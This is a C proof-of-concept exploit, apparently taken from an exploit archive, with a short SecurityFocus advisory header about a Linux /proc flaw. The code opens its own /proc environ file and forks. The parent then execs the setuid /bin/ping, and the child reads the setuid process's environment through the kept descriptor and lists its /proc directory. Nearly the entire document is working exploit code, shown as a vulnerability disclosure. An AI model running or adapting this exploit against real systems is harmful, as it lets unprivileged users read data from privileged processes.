85 lines
No EOL
2.2 KiB
C
85 lines
No EOL
2.2 KiB
C
/*
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source: https://www.securityfocus.com/bid/8002/info
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A potential information disclosure vulnerability has been reported for the Linux /proc filesystem, specifically when invoking setuid applications. As a result, an unprivileged user may be able to read the contents of a setuid application's environment data. This could potentially, although unlikely, result in the disclosure of sensitive information, such as restricted file path information.
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*/
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/****************************************************************
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* *
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* Linux /proc information disclosure PoC *
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* by IhaQueR *
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* *
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****************************************************************/
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#include <stdio.h>
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#include <unistd.h>
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#include <fcntl.h>
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#include <errno.h>
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#include <signal.h>
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#include <sys/types.h>
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#include <sys/mman.h>
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#include <sys/ptrace.h>
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#include <sys/wait.h>
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#include <sys/stat.h>
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#include <sys/types.h>
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static char buf[128];
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void fatal(const char *msg)
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{
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printf("\n");
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if (!errno) {
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fprintf(stderr, "FATAL: %s\n", msg);
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} else {
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perror(msg);
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}
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printf("\n");
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fflush(stdout);
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fflush(stderr);
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exit(129);
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}
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int main()
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{
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int fd, r;
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char c;
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sprintf(buf, "/proc/%d/environ", getpid());
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fd = open(buf, O_RDONLY);
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if (fd > 0) {
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sprintf(buf, "/proc/%d", getpid());
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if (fork()) {
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printf("\nparent executing setuid\n");
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fflush(stdout);
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execl("/bin/ping", "ping", "-c", "3", "127.0.0.1", NULL);
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fatal("execl");
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} else {
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sleep(1);
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printf("\nchild reads parent's proc:\n");
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fflush(stdout);
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while (1) {
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r = read(fd, &c, 1);
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if (r <= 0)
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break;
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printf("%c", c);
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}
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printf("\n\nContent of %s\n", buf);
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fflush(stdout);
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execl("/bin/ls", "ls", "-l", buf, NULL);
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}
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} else
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fatal("open proc");
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printf("\n");
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fflush(stdout);
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return 0;
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} |